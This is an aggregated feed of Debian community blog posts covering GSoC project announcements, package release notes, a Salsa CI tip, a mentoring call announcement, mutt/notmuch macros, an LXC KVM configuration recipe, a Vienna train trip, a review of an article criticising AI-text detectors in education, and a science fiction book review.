Deliverables of the project: Linux Kernel Livepatching is the process of replacing functions in the kernel code affected by CVEs with the patch-applied functions during system runtime. It's basically a method to apply security kernel patches to a running system.

Project: DebNet: Visualising the Bus Factor – Graph Analysis of Debian's Infrastructure

  • Contributor: Fabio Ruhland

Deliverables of the project: DebNet models the Debian archive as a graph to identify critical packages maintained by too few people. Using data from the Ultimate Debian Database (UDD), it builds a package dependency graph and a maintainer-package graph to compute practical metrics like the Bus Factor, Fragility Score, and Dependency Impact for every source package.

Project: Attack of the Clones: Fight Back Using Code Duplication Detection From Security Patches

  • Contributor: Gajendra Nath Soren

Deliverables of the project: This project aims to detect vulnerable code clones in the Debian archive by automatically extracting signatures from security patches. Using a two-signal approach that separates vulnerable patterns from fix patterns, the system generates high-specificity queries to search the entire archive via Debian CodeSearch.

Project: Debusine: debuginfod server

  • Contributor: Jugal59

Deliverables of the project: This project implements a debuginfod-compatible server within Debusine to provide automated debug symbol resolution for Debian developers.

Project: Debian-LSP: Improve File Format Support

  • Contributor: Lucas Ly Ba

Deliverables of the project: The Debian LSP Language Server currently provides only basic features—field completion, parse-error diagnostics, and simple quick fixes—leaving Debian maintainers without the rich IDE experience available in other ecosystems.

Project: Debusine: live log streaming

  • Contributor: mo-ashraf

Deliverables of the project: Debusine currently only shows task logs after a task has fully completed. This means developers working with long-running jobs (such as package builds or test pipelines) have no way to monitor progress in real time or catch failures early. This project adds live log streaming to Debusine.

Congratulations and welcome to all the contributors!

The Google Summer of Code program is possible in Debian thanks to the efforts of Debian Developers and Debian Contributors that dedicate part of their free time to mentor contributors and outreach tasks.

Join us and help extend Debian! You can follow the contributors' weekly reports on the debian-outreach mailing-list, chat with us on our IRC channel or reach out to the individual projects' team mailing lists.

02 May, 2026 10:04AM by Abhijith PA

hackergotchi for Ben Hutchings

Ben Hutchings

FOSS activity in April 2026

02 May, 2026 09:08AM by Ben Hutchings

May 01, 2026

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

binb 0.0.8 on CRAN: Maintenance

The eight release of the binb package, and first in two years, is now on CRAN and in r2u. binb regroups four rather nice themes for writing LaTeX Beamer presentations much more easily in (R)Markdown. As a teaser, a quick demo combining all four themes is available; documentation and examples are in the package.

This release contains regular internal updates to continuous integration, URLs reference and switch to Authors@R. The trigger for the release, though, was a small updated need when very recent pandoc versions (as shipped with RStudio) are used which require a new variable declaration in the LaTeX template files in order to process uncaptioned tables. The summary of changes follows.

Changes in binb version 0.0.8 (2026-05-01)

  • Small updates to documentation URLs and continuous integration

  • The package now uses Authors@R in DESCRIPTION

  • Newer pandoc versions are accommodated by adding a required counter variable in the latex template file

CRANberries provides a summary of changes to the previous version. For questions or comments, please use the issue tracker at the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. If you like this or other open-source work I do, you can sponsor me at GitHub. You can also sponsor my Tour de Shore 2026 ride in support of the Maywood Fine Arts Center.

01 May, 2026 01:34PM

hackergotchi for Junichi Uekawa

Junichi Uekawa

A rainy day starts May.

A rainy day starts May.

01 May, 2026 02:31AM by Junichi Uekawa

Reproducible Builds (diffoscope)

diffoscope 318 released

The diffoscope maintainers are pleased to announce the release of diffoscope version 318. This version includes the following changes:

[ Chris Lamb ]
* Upload to test PyPI integration.
* Bump Standards-Version to 4.7.4.

[ Manuel Jacob ]
* Remove a misleading comment.

You find out more by visiting the project homepage.

01 May, 2026 12:00AM

April 30, 2026

Sergio Cipriano

How to build reverse dependencies using Salsa CI

How to build reverse dependencies using Salsa CI

Last week, I attended MiniDebConf Campinas, and one of my favorites talks was "Salsa CI, showing features that almost nobody knows" by Aquila Macedo.

One of the things I learned is that we can easily build reverse dependencies using:

$ git push -o ci.variable="SALSA_CI_DISABLE_BUILD_REVERSE_DEPENDENCIES=0"

I tried this option before uploading typer version 0.20.0-1:

example of salsa ci build rdeps working

This is an amazing feature. Thanks to everyone involved in making it happen!

30 April, 2026 02:27AM

hackergotchi for Otto Kekäläinen

Otto Kekäläinen

Mentoring Mondays for aspiring Debian contributors

Featured image of post Mentoring Mondays for aspiring Debian contributors

I mentor several people in Debian, and have been repeatedly asked to offer an opportunity to ask questions on a live call. I have now started a recurring video call for exactly that, which I call Mentoring Mondays, and it is open for anyone aspiring to contribute to Debian, one of the oldest and most widely used Linux distributions.

Mentoring Mondays have already been happening for the past few Mondays, and this week we had a record 20 people on the call. During the calls so far we have had a demo of updating a package for a new upstream release using gbp, and of how to create a Merge Request on Salsa for a new upstream version. There is clearly a need for this, so I am announcing this now also on my blog, just as I have publicly announced that I offer mentoring for aspiring Debian contributors.

What is Mentoring Mondays?

Mentoring Mondays is a recurring video call that lasts roughly 45 minutes with the agenda:

  • Weekly walk-through: demo of something in Debian packaging, explaining the what and why
  • Discussion on pros and cons to help participants develop their judgment
  • Questions & answers on Debian packaging, or open source contributing in general

This is ideal for you if you:

  • Have built a .deb package at least once and want to do it better
  • Are stuck on a specific Debian packaging bug and need guidance
  • Want to understand how Debian Developers actually work day-to-day

The call is mainly intended for those who want to contribute to Debian (or Debian derivatives, with Ubuntu being the most popular), but anyone can join to learn about things related to contributing to a Linux distribution. Please note that video chat uses Debian Social Jitsi. Joining the call requires authentication using a Salsa account, which anyone contributing to Debian should have anyway.

Calls are not recorded, so participants can chat freely, and are also encouraged to be on-camera for an enhanced sense of community.

Next call: Monday May 4th, 2026

Make sure you are logged into Salsa first, before opening the call on Debian’s Jitsi instance.

Matrix channel and future meeting time announcements

Please join the Matrix channel #mentoringmondays:matrix.debian.social if you plan to attend Mentoring Mondays. All future meeting times will be announced there. It is also the channel to post questions about Debian packaging to be answered during the call.

The current meeting time is friendly to people in Europe, Asia and Australian time zones, and will repeat at the same time slot on:

  • May 11th, 2026 at 12:30 UTC
  • May 18th, 2026 at 12:30 UTC
  • May 25th, 2026 at 12:30 UTC
  • June 1st, 2026 at 12:30 UTC
  • June 8th, 2026 at 12:30 UTC

Starting in mid-June the meeting time will change to accommodate participation in different time zones.

Spread the word

Feel free to extend the invite to anyone you think might be interested in joining!

If you mention this on social media, please post using tag #mentoringmondays, or simply boost the existing posts on the social media of your preference: Mastodon, Lemmy, Reddit, Bluesky, LinkedIn, Farcaster, X.

Thanks

A big thanks to Jason Kregting for helping organize. I would also like to thank in advance all the Debian Developers who are able to join the call and be available to participate in discussions and help answer questions.

30 April, 2026 12:00AM

April 28, 2026

Abhijith PA

Patience could've saved me time.

If I had been patient, it would have saved me time. One such instance is following.

From my early blogs, you might know I am using mutt to do email. Just after I get along with mutt, I started using notmuch. Because limit search in mutt is always a pain when you have multiple folders. And what better tool out there than notmuch-mutt to bind both these.

notmuch-mutt provide three macros by default.

macro index <F8> \
"<enter-command>set my_old_pipe_decode=\$pipe_decode my_old_wait_key=\$wait_key nopipe_decode nowait_key<enter>\
<shell-escape>notmuch-mutt -r --prompt search<enter>\
<change-folder-readonly>`echo ${XDG_CACHE_HOME:-$HOME/.cache}/notmuch/mutt/results`<enter>\
<enter-command>set pipe_decode=\$my_old_pipe_decode wait_key=\$my_old_wait_key<enter>" \
      "notmuch: search mail"
macro index <F9> \
"<enter-command>set my_old_pipe_decode=\$pipe_decode my_old_wait_key=\$wait_key nopipe_decode nowait_key<enter>\
<pipe-message>notmuch-mutt -r thread<enter>\
<change-folder-readonly>`echo ${XDG_CACHE_HOME:-$HOME/.cache}/notmuch/mutt/results`<enter>\
<enter-command>set pipe_decode=\$my_old_pipe_decode wait_key=\$my_old_wait_key<enter>" \
      "notmuch: reconstruct thread"
macro index <F6> \
"<enter-command>set my_old_pipe_decode=\$pipe_decode my_old_wait_key=\$wait_key nopipe_decode nowait_key<enter>\
<pipe-message>notmuch-mutt tag -- -inbox<enter>\
<enter-command>set pipe_decode=\$my_old_pipe_decode wait_key=\$my_old_wait_key<enter>" \
      "notmuch: remove message from inbox"

One for search, one for reconstructing threads and one for manipulating tags, which I missed.

Now my impatient part. I have already mapped f6 for my folder movements and in my initial days of notmuch, I only use just search. So I never cared about the f6 macro provided by notmuch-mutt. As time goes by I got very comfortable with notmuch. I was stretching my notmuch legs. I started to live more on notmuch search results date:today tag:unread than more on the mutt index. To the problem, since notmuch-mutt dump all results to a temp maildir location, can’t perform flag changes back to the original maildir which was annoying, because we need to distinguish what mail you read and what not when you subscribed to most of all debian mailing list.

I was under the impression that, the notmuch-mutt is not capable of doing so and I just went like that without checking docs. I started doing all crazy hack to sync these maildirs.

I even started reading notmuch-mutt codebase.

Later, I settled on notmuch-vim. Cause I can manipulate flags sync back from notmuch to maildir.

And while searching for something, I accidentally revisited the the the notmuch-mutt macro page and saw the tag manipulation. I was like :( .

If I read about the third macro patiently when added that to config, I could’ve saved time by not doing ugly hacks around it.

I think I learned my lesson.

28 April, 2026 06:33AM

Ravi Dwivedi

A day in Vienna

On the 7th of September 2025, my friend Dione and I had a day trip to Vienna—the capital of Austria. We were attending a conference in Budapest, Hungary, which is 250 km from Vienna. So, it was a good opportunity to visit Vienna.

We took a morning train from Budapest to Vienna and got back to Budapest by night. However, booking these tickets turned out to be a bit complicated. There were many websites to book the train ticket—Hungarian Railways, Austrian Railways, and third-party sites such as Omio. All these websites had different prices for the same ticket.

I booked the tickets from the Hungarian Railways website as it was the cheapest. The train from Budapest to Vienna was €13, operated by Eurocity. Also, I had to pay €2 for the seat reservation on top. The train from Vienna to Budapest—operated by Railjet—was €21, along with €2 extra for reservation again—making it €23. The tickets for the two-way journey added up to €38.

The cost of these tickets varied depending on when one purchses them: the sooner you purchase, the lower the price. I bought my tickets 15 days ahead of the date of journey and paid just €38. In contrast, Dione booked just one day before her trip and paid around €100 for her tickets.

As for the seat reservation, long-distance trains in Europe usually require paying extra for the seat reservation. This ensures that you get your preferred seat, such as a window seat or an aisle seat. Nevertheless, you will get a seat on long-distance trains because they do not sell more tickets than there are seats. Therefore, you will get a seat without reservation as well. However, we reserved our seats so that we can sit together. This helped us more in the return part of the journey—from Vienna to Budapest—which was more crowded than the train we took from Budapest to Vienna in the morning.

On another note, reservation is mandatory on some trains in Europe, but ours wasn’t one of them. In addition, people also use rail passes, so an extra charge is required on top for reserving the seats for pass holders. On the other hand, local trains do not require seat reservations in general.

Our train’s scheduled departure was at 08:55 from the Budapest Kelenfold station. We reached the train station 40 minutes before the train’s scheduled departure. The Kelenfold station had free Wi-Fi, which was handy because I didn’t have a local SIM.

A departures board at Budapest Kelenfold station.

A departures board at Budapest Kelenfold station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

A platform on Budapest Kelenfold station.

This is platform number 15 of Budapest Kelenfold station where we boarded our train. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Our train arrived on time. I tried to find our coach number but could not find the numbers written anywhere on the side of the coach. Luckily, we were helped by a fellow passenger who directed me to look at the doors, where the numbers were mentioned clearly!

Then we got into our compartment and took our respective seats. Our tickets were checked twice - once while the train was in Hungary and the other when in Austria. Showing the PDF of the train ticket on our mobile to the ticket inspector was good enough for the purpose. Austria and Hungary are a part of the open transit Schengen area, which means this was the extent of the border control checks we had to go through.

Interior of the train.

Interior of our Budapest to Vienna train. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

The train also had free Wi-Fi, albeit with poor connection at times. There were no eatery options inside the train.

We deboarded at the Wien Hauptbahnhof station in Vienna. The journey was 250 km and took 2.5 hours, reaching Vienna at 11:25, which was the scheduled time.

A blue and white colored train on a railway platform

This blue colored train was the one we took for our Budapest to Vienna journey. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

A red colored train standing at the Vienna station

An ÖBB train standing at a platform of Vienna train station. ÖBB is the national carrier of Austria. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Wien Hauptbahnhof train station

Wien Hauptbahnhof train station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

At the station, we bought a 24-hour public transport pass from a ticket machine for €8. The pass includes unlimited access to all the public transport in Vienna for 24 hours. My pass was valid from the 7th of September at 11:34 to the 8th of September at 11:33. A single public transport ticket (from anywhere to anywhere) costs €2.4. A single ticket of €2.4 can be used once on any public transport in Vienna—trams, metros, and buses.

Therefore, the pass is a good deal if you are going to take at least four public transport trips in a day. Unlike the public transport pass I got in Budapest, the pass in Vienna was anonymous and not tied to the rider’s name.

Public transport pass for Vienna.

My public transport pass in Vienna.

We wanted to visit the Schönbrunn Palace. The palace was reachable by subway. In order to get to the subway station, we started by going outside the station. But it was not outside. So we came back inside the station building and realized that the subway was underground.

We took the subway and deboarded at the Schönbrunn subway station—the closest one to the palace. The ride was smooth; the train was pretty silent.

By the way, like Budapest, there were no AFC gates for boarding the subway in Vienna. The stations had ticket validators instead, where you are supposed to validate your tickets before getting into the subway.

Vienna subway

Instead of AFC gates, Vienna has ticket validators as in the picture. You need to tap your ticket in the validator before boarding the subway. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

These validators are in place to ensure that you use your ticket only once. Unlike AFC gates, which are present in metros of most of the countries I have been to, the ticket validators don’t act as a physical barrier to enter the boarding area.

If you board the metro without validating your ticket, you will be facing hefty fines upon getting caught. I have heard that the fine is around €100. On the other hand, if you have a public transport pass like we did, then you don’t need to validate it before boarding.

In addition, there were no annoying security checks either, unlike in Indian cities. In the Delhi metro, for example, you would need to scan your bags and pass through a security check before getting to the AFC gates.

Vienna subway

Vienna subway. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Now back to the story, after alighting at the Schönbrunn subway station, we walked to the Schönbrunn Palace. One can roam around outside the palace and click pictures for free. To go inside, however, requires buying tickets. The tickets for the palace can be booked in advance on the internet. We didn’t take the tickets in advance, as we decided to visit the palace at the last moment.

So we went to the ticket counter and found out that we needed to wait for 1 hour 40 minutes before going inside if we took the tickets at that moment. In addition, one ticket costs €44 (around 4000 Indian rupees). Since we had to return to Budapest in the evening and only had a few hours in the city, we decided not to go inside the palace. Instead, we clicked a few pictures outside the palace.

Photo of Schönbrunn Palace.

Schönbrunn Palace. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

The Schönbrunn Palace is a UNESCO World Heritage Site and is a historically significant place. It servedas one of the residences of the powerful Habsburg dynasty. The palace looked so good that my friend Dione said, “It seemed like the palace was built yesterday”. This remark applied to other parts of Vienna we went to. For example, the subway stations also seemed like they were built yesterday.

A street near Schönbrunn Palace.

A street near Schönbrunn Palace. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Now, we wanted to go someplace to grab a bite. I asked my friend Urbec for suggestions on where to go. They suggested we visit the steps named Strudlhofstiege, which had the added benefit of being in a neighborhood with good bakeries and buildings.

So, we took the subway and deboarded at the Roßauer Lände station, followed by walking around a kilometer to reach the stairs.

A subway station in Vienna.

Roßauer Lände subway station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Platform of the _Roßauer Lände_ subway station.

Platform of the Roßauer Lände subway station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

stairs with road in the front and trees in the background. Blue sky can also be seen in the background.

The The Strudlhofstiege steps. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

On the way, we were also looking for a place to eat. Unfortunately, it was Sunday, and Vienna closes on Sunday. That means most of the shops—including bakeries and cafés—are closed. Only places like railway stations have shops open on Sundays.

By the way, walking around in the streets of Vienna was a treat. The streets were not crowded (as it was not exactly a touristy neighborhood) and had good pedestrian infrastructure, with clean streets and separate cycling tracks. The buildings were also beautiful.

Buildings and streets in Vienna.

A random street in Vienna.

Buildings and streets in Vienna.

Another street in Vienna.

After some walking, we found a restaurant open. I grabbed the menu to check the prices. A lady at the shop asked me what I was doing, and I told her that I was browsing the menu. She said that the menu was in German. I don’t know how she knew that we didn’t know German, but it seemed like a racist thing to be told.

We roamed around further and found a café by the name of Blue Orange, where we ordered coffee and croissants. When we got our order, the waiter told us that they were having some issues, so they wouldn’t charge us for the croissant if it wasn’t good.

Picture of a café.

A picture of Blue Orange café. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

My friend and I took a bite, and both of us didn’t like the croissant. After some time, the waiter came to us and asked whether the croissant was okay, to which we said no. Therefore, they didn’t charge us for the croissant. This was the first time something like this happened to me. It felt like I was in a different world. I added a small tip at the end for this gesture, which I had to put in a jar at the counter.

The cappuccino I ordered was €4.50, while the espresso that Dione ordered was €3.60. The croissant would have been €3.60. I remember Paris having cheaper croissants!

Then when the waiter brought our drinks out, they automatically gave me the espresso and Dione the cappuccino. Dione found this funny because there is a stereotype in her country (Australia) that men drink strong black coffee, and women drink milky drinks like cappuccinos. She found it interesting that this stereotype seems to exist in Austrian culture too.

We hopped on a tram to reach the nearest subway station and went to the Wien Hauptbahnhof station to have something before we caught our return train to Budapest.

Trams with buildings and the blue sky in the background

Trams in Vienna. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

At the station, I had Esterhazyschnitten and Punschkrapfen (thanks, Urbec, for the suggestion). The lady at the shop warned me that punschkrapfen had alcohol in it, to which I said okay.

Esterhazyschnitten was a cake made of almonds, while punschkrapfen was a jam-filled sponge cake, soaked in rum. Esterhazyschnitten was my favorite out of the two. The punschkrapfen was too sweet for my taste.

Punschkrapfen

Punschkrapfen. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Esterhazyschnitten

Esterhazyschnitten. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

While the station was well-built, there were a couple of things about the Wien Hauptbahnhof station that we didn’t like. There were no seats inside the station, so we had to eat outside the building. Also, the toilets needed to be paid for. It costs 50 cents to use the toilets at this station.

The Vienna train station had departure boards all over the place. So, we went to the platform our train was to arrive on.

A departure board in Vienna displaying information about the trains

Departure boards in Vienna displaying information about the trains. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

Platform and tracks at Wien Hauptbahnhof station.

Platform and tracks at Wien Hauptbahnhof station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

When our train arrived, we had some difficulty locating our compartment. This train was operated by a different company (Railjet) than the one we took in the morning (Eurocity) from Budapest to Vienna, and we were able to locate the coach numbers using the digital board at the station. Each compartment had a digital board next to it on the station displaying the coach number. However, that wasn’t the problem. Even after reading the coach numbers and trying to find ours, it didn’t appear where we expected in the sequence.

When we were not able to find our coach for a while, we asked a ticket inspector of the train who was standing on the platform. He directed us towards the front side of the train. So we started running to the front side as we didn’t know how long the train stops.

As we ran toward our coach, we found out that the engine of the back train was connected with the last compartment of the train at the front. At that point, we realized that the train was a combination of two trains. At a later station, the train on the back side parted ways and went towards Vienna Airport.

Inside our train.

Interior of the train we took from Vienna to Budapest. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

A red colored train standing on the platform of Budapest Kelenfold station.

This is the train we took for our return journey from Vienna to Budapest. It is standing on a platform in Budapest Kelenfold station. Photo by Ravi Dwivedi, released under CC-BY-SA 4.0.

We had a smooth journey and reached Budapest a couple of hours later.

Vienna is a beautiful city; we enjoyed being there, and we would like to visit the city again!

That’s it for now. Signing off. See you in the next one!

Credits: Thanks to Dione and Badri for proofreading.

28 April, 2026 02:29AM

April 27, 2026

hackergotchi for Gunnar Wolf

Gunnar Wolf

Heads we win, tails you lose — AI detectors in education

This post is an unpublished review for Heads we win, tails you lose — AI detectors in education

Educators throughout the world are tasked with the difficult requirement of evaluating students’ works, making sure the grades meaningfully reflect the students’ understanding of the subject, and that a graded assignment maps to the relevant work invested in solving it. After the irruption of Large-Language Models in late 2023, this task became obviously much harder: if a widely available computer program is able to solve an assignment in a way that resembles a human-generated response, how can educators meaningfully grade their groups?

As it has been the case with different innovations over time (such as with the appearance of electronic calculators or the mass availability of digital encyclopedias), the first reactions were of prohibition and denial: students who use the new tool in question are to be disqualified or somehow punished. It is only some time after the innovation in question settles that teachers find a way to properly weigh, integrate and accept its use.

The authors of this position article present several arguments as to why it is impossible, unethical and unadvisable to use automated AI detection systems to process student assignments. The first argument is whether it is at all possible to reliably differentiate human-written essays from LLM-generated artifacts. The first criticism is that AI detectors are, themselves, LLMs trained on human-generated texts (negative) and LLM-generated texts (positive). However, the only way to assert the training material is not noisy is to use pre-2020 text as human-generated — but natural ways of writing are influenced by what people read, and the authors quote studies pointing out that human language, particularly in the scholarly fields, has incorporated terms and constructions that were used as LLM markers. Quoting the authors, «As exposure to AI-generated material becomes increasingly widespread, it is reasonable to expect that the linguistic patterns of human writing will shift, reflecting the influence of AI-assisted texts encountered across education, media, and everyday communication». Stylistic elements and other such markers are being adopted back into regular speech at a high rate.

Then, the aspect of ethics comes into play as well. While it is expected that teachers should demand intellectual integrity from students, and plagiarism detectors have been widely accepted into the workflow of academics, the accusation of presenting LLM output as own work is necessarily an uphill battle: the accused party is tasked with providing proof of innocence based on nebulous, probabilistic accusations. The authors argue, once an accusation of turning in a LLM-generated text is made on a student, the onus on proving innocence lies with the accused.

The authors review and argue against a series of techniques that have been presented in literature to aid teachers in detecting LLM abuse, such as linguistic markers, single or multiple AI detectors, the use of false references, hidden adversarial prompts, arguing in all cases the techniques fail to be trustable enough and highlighting the probability of both false positives and negatives. They also present AI detection as a false dichotomy: many works presented are not 100% human generated nor 100% LLM-generated, but some pertinent LLM-generated paragraphs are presented mixed with human-generated content, in a positive, critical AI use (“Students’ work is frequently created with, not by, generative AI”).

The article closes by reiterating the authors’ position: “AI detection in education is not merely flawed; it is conceptually unsound”. they call upon institutions to accept the use of generative LLMs cannot be “solved through surveillance and punishment”, but has to be tackled by an “assessment design that recognizes AI’s role in learning”.

This article’s position is very strong and well argued, and although it will surely meet with ample opposition, it surely poses an important, very current problematic. As a teacher, I found it a very enlightening read.

27 April, 2026 06:10PM

hackergotchi for Mike Gabriel

Mike Gabriel

KVM Support inside LXC Containers [updated]

Yesterday, I had to add support for running KVM virtual machines inside an LXC container. More as a reminder to myself, in case I ever have to do this again, here the simple recipe:

LXC Container Config Adjustment

Enable lxc.autodev and execute hook script to be executed after initial /dev creation (updated 20260428: lxc.cgroup2.* instead of lxc.cgroup.*):

[...]

# Auto-create /dev nodes and add native KVM support to the LXC container
lxc.autodev = 1
lxc.hook.autodev = /var/lib/lxc/.hooks/lxc-hook.kvm-support
lxc.cgroup2.devices.allow = c 10:232 rwm
lxc.cgroup2.devices.allow = c 10:238 rwm
lxc.cgroup2.devices.allow = c 10:241 rwm

[...]

[added 20260408] On the internet, you can find a recipe that simply bind-mounts /dev/kvm from the host in to the LXC container. However, this fails if group ID of POSIX group kvm differs between host and container.

LXC Hook Script for KVM Support Enablement

The following script I placed at /var/lib/lxc/.hooks/lxc-hook.kvm-support (on the LXC host!):

#!/bin/sh

# set up native KVM support in LXC container
mknod -m 0660 ${LXC_ROOTFS_MOUNT}/dev/kvm c 10 232
chown :kvm ${LXC_ROOTFS_MOUNT}/dev/kvm
mknod -m 0660 ${LXC_ROOTFS_MOUNT}/dev/vhost-net c 10 238
chown :kvm ${LXC_ROOTFS_MOUNT}/dev/vhost-net
mknod -m 0660 ${LXC_ROOTFS_MOUNT}/dev/vhost-vsock c 10 241
chown :kvm ${LXC_ROOTFS_MOUNT}/dev/vhost-vsock

27 April, 2026 09:44AM by sunweaver

Sahil Dhiman

Weekly Notes

Weekly notes is a genre where people chronicle their week on their blogs. Weekly notes are like a window. I love going through these, as they’re a steady stream of week on week happenings and progress in people’s lives. It shows people making efforts to improve: from basic things like learning to swim or drive, to planning long-term goals such as vacations, moving house, states, or even countries. In some cases, they carry internal monologues, thoughts, and anxieties. These are like a constant nudge for me to work on myself, like them.

These are the weekly notes I read nowadays:

Most are there on Thejesh’s weekly notes planet which autoupdates when new posts arrive, usually starting on Friday evenings, and by Monday, almost everyone has posted.

It reminds of a word from The Dictionary of Obscure Sorrows - Kenaway :

the longing to see how other people live their lives when they’re not in public; wishing you could tune in to the raw feed of another human existence, in all its messiness and solitude—shimmying in place while brushing their teeth, squabbling over where to put the shoes, talking out their problems on solitary commutes—if only to give you something to compare your own life against, and figure out whether you’re bizarrely normal or normally bizarre.

Close enough.

27 April, 2026 02:40AM by Sahil Dhiman

Russ Allbery

Review: What We Are Seeking

Review: What We Are Seeking, by Cameron Reed

Publisher: Tor
Copyright: 2026
ISBN: 1-250-36474-4
Format: Kindle
Pages: 339

What We Are Seeking is a bit hard to classify beyond science fiction. I think I would call it anthropological science fiction, but it's also a first contact story and a planetary colony story. It is a standalone novel (well, so far as I know; see later in the review for caveats). This is Cameron Reed's second novel after the excellent and memorable cyberpunk novel The Fortunate Fall, first published in 1996 under Reed's former name of Raphael Carter.

John Maraintha is a doctor from the world of Essius. He took what he thought was a temporary job on the Free Ship Edgar's Folly, where he's endured considerable culture shock. As the novel opens, John learns that the colonists on Scythia have requested a translator to talk to one of the native life forms, and a doctor since they're down to only one. John will be that doctor. The captain has decided, and by the rules of the free ships, John does not get a choice in the matter.

The Scythian colony is about four hundred people, now located in a desert climate since the complex native life forms destroyed their previous settlement. The colonists are a split between Ischnurans and Zandaheans, two other human civilizations from the scatter of colony worlds left after Earth embraced AIs (aiyis here) and turned inward. Both of those groups marry, something John considers a moral abomination. Neither of them seem likely to understand Essian sexual ethics. More devastatingly, John had intended to spend some time as a ship doctor and then return home to a new place in Essian society. Once he lands on Scythia, the chances of that are gone; it is highly unlikely any ship would pick him up again and take him home.

I have been trying to find the right books to compare What We Are Seeking with ever since I read it. The best I've come up with are Ursula K. Le Guin (particularly The Dispossessed), Eleanor Arnason's A Woman of the Iron People, and Becky Chambers's To Be Taught, If Fortunate. The start of the book felt like an intentional revisiting of an earlier era of science fiction, with somewhat updated science and politics, but the last half of the book, where the action picks up considerably, is a meditation on gender, social systems, religion, and small-group politics. All of that is mixed with biological exploration and a first-contact story with some quite-alien aliens.

This is the sort of novel where the protagonist's culture is as foreign to the reader as any of the other cultures he counters, so the reader is assembling several jigsaw puzzles at once. John is dropped into an established colony with its own social norms and established hierarchies. The one other outsider, the translator Sudharma Jain, is, as his name implies, a Jain who keeps very strict religious observances. Half of the colony is from something akin to a fundamentalist Christian religious sect that practices patriarchy and strict marriage codes. The other half is more gently sexist (but still sexist) and has its own tradition of a third gender that becomes central to the story. John, meanwhile, is a strong believer in the Essian approach to social organization: Any two partners of any gender freely have sex by mutual consent and without obligation, and family is based solely on blood relations. These beliefs do not fit comfortably together, even when people are trying (as they mostly do) to be welcoming.

The first half of this book is very slow. This gives all of the characters space to breathe and become comfortable, and the characterization is superb, but it is a book to start when you're in the mood for something slow and observational. There is a plot that gradually becomes apparent, or rather there are several plots that are intertwined, but tension and urgency are mostly reserved for the second half of the book. Instead, the book opens with a lot of close observation of alien flora and fauna and the untangling of subtle social dynamics among the Scythians.

There is also a visitor from earth, much to the distress of the Scythians. Earth presence means the ships will not return and the colony may be cut off from any sort of technological resupply. Despite speaking a common language, that visitor is as mutually alien to the other groups as they are to the native flora. Her life is fully integrated with aiyis, giving her essentially godlike powers and the ability to turn off inconvenient emotions and disregard anything she doesn't want to see. What she and the Earth aiyis are doing on the planet is one of the early mysteries.

The dialogue in this book is truly excellent. Each characters has their own voice, there are fascinating digressions on different words that lead to tidbits of world-building, and some of the culture-specific idioms are delightful.

"I'm making a mess of this. None of that matters. Let me fall out the window and come in the door again. This is how my story ought to start:"

The challenges for the characters in this story are slow but deep ones: belonging and self-definition, the conflict between cultural tradition and personal circumstance, and the sacrifices required to live with small groups in situations where civil war is viscerally attractive. It has one of the most comprehensive and fascinating treatments of transgender issues that I've read in science fiction. Its commentary on current politics is subtle and estranged in the way that science fiction does best, but still pointed and satisfying. And, well, there are passages like this that I absolutely adore:

"I wouldn't go that far. It could be they are right, the universe we see exists because a mind like ours created it — at least, a mind enough like ours that we can say it wants one thing and not another, and when it acts it does so with intent. That's as good an idea as any. But it is certainly not plausible that such a being believes that people everywhere should marry, or that men should never visit men, or no one should become a jess. Look at what they have created. The universe could have been nothing at all, or one atom of hydrogen floating in a void, or a diamond crystal infinite in all directions, if their mind cared for simplicity or tidiness. Instead we have stars and planets and black holes and nebulas. It could have all been cold and dead, but there is life. They could have made one species for each world, or just a few, which could have stayed the same forever, but instead we have millions and millions, all of which are changing every moment, varying among themselves and boiling off in all directions. Such a god is like an artist who fills up a library of sketchbooks with their drawings of strange creatures, and when every scrap of paper in the place is used up, goes back with a different color ink and scribbles over them again. They are obsessed with variation — they gorge themselves with it and never grow full. Do you really think a mind like that could want us all to live in the same way?"

I had one problem with this book, though, and for me it was a big one: There is no ending. Reed effectively builds tension, gets me caring about all of the characters, sets up several problems, starts down a path towards resolution, and then the book just... ends.

Long-time readers of my reviews will know that I'm a denouement fanatic. I want the scouring of the shire, I want the chapter set in the happily ever after, I want the catharsis of an ending. This made me so grumpy!

To be clear, this is not sequel bait (at least so far as I can tell). I can write a philosophical defense of the ending. The types of problems and lives that Reed set up don't have clear endings; this is, to some extent, the point. We muddle through, and then those who come after us muddle through some more, and the cumulative effect is called human civilization. And there is some denouement; Reed doesn't leave the reader at a cliffhanger or anything that egregious.

But still, I wanted the happy ending, even though that was unrealistic for the style of story this is, because I'm a happy ending reader. This is not an ending sort of book; it's the sort of book where I get a sinking feeling at the 95% mark because there aren't enough pages left for the number of remaining unresolved problems. I've gotten less annoyed in the days since I finished the book, and I can appreciate the thematic point made by how the book ends, but I still feel like it's worth an advance warning if you're a reader like I am.

I would be delighted by a sequel, but it didn't feel like that was the intent.

Apart from that, this was both excellent and rather unlike a lot of current science fiction. I think the closest comparison I can make among recent novels I've read is Sue Burke's Semiosis. What We Are Seeking has a similar sort of world-building, but I liked these characters so much more. It felt like a classic literary science fiction novel, but very much written in 2026. Highly recommended, just beware of the lack of closure.

Content notes: Sexism, homophobia, stomach illness, and some religious abuse.

Rating: 8 out of 10

27 April, 2026 02:04AM

April 26, 2026

hackergotchi for Dirk Eddelbuettel

Dirk Eddelbuettel

RProtoBuf 0.4.27 on CRAN: Upstream Adjustment

